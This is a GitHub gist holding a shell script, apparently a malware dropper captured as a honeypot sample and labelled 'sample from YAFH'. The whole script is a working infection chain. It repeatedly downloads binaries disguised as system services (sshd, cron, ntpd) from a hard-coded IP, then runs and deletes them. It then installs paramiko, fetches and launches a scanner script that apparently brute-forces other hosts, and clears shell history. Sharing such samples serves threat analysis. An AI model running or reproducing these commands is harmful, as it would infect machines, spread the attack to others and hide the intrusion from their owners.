Skip to content

Instantly share code, notes, and snippets.

@fnzv
Created February 2, 2018 23:13
Show Gist options
  • Save fnzv/de2910542aebd13c164df43cc751c393 to your computer and use it in GitHub Desktop.
Save fnzv/de2910542aebd13c164df43cc751c393 to your computer and use it in GitHub Desktop.
bin.sh - sample from YAFH
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/ntpd; wget http://95.215.62.137/ntpd; chmod +x ntpd; ./ntpd; rm -rf ntpd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/sshd; wget http://95.215.62.137/sshd; chmod +x sshd; ./sshd; rm -rf sshd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/openssh; wget http://95.215.62.137/openssh; chmod +x openssh; ./openssh; rm -rf openssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/bash; wget http://95.215.62.137/bash; chmod +x bash; ./bash; rm -rf bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/tftp; wget http://95.215.62.137/tftp; chmod +x tftp; ./tftp; rm -rf tftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/wget; wget http://95.215.62.137/wget; chmod +x wget; ./wget; rm -rf wget
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/cron; wget http://95.215.62.137/cron; chmod +x cron; ./cron; rm -rf cron
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/ftp; wget http://95.215.62.137/ftp; chmod +x ftp; ./ftp; rm -rf ftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/pftp; wget http://95.215.62.137/pftp; chmod +x pftp; ./pftp; rm -rf pftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/sh; wget http://95.215.62.137/sh; chmod +x sh; ./sh; rm -rf sh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/' '; wget http://95.215.62.137/' '; chmod +x ' '; ./' '; rm -rf ' '
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/apache2; wget http://95.215.62.137/apache2; chmod +x apache2; ./apache2; rm -rf apache2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/telnetd; wget http://95.215.62.137/telnetd; chmod +x telnetd; ./telnetd; rm -rf telnetd
apt-get install python python-paramiko -y
yum install python python-paramiko -y
cd /var/tmp
curl -O http://95.215.62.137/scanner.py
wget http://95.215.62.137/scanner.py
chmod +x scanner.py
python scanner.py 10 LUCKY2 1 2 &
python scanner.py 10 LUCKY 1 2 &
python scanner.py 10 BRAZIL 1 2 &
history -c
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment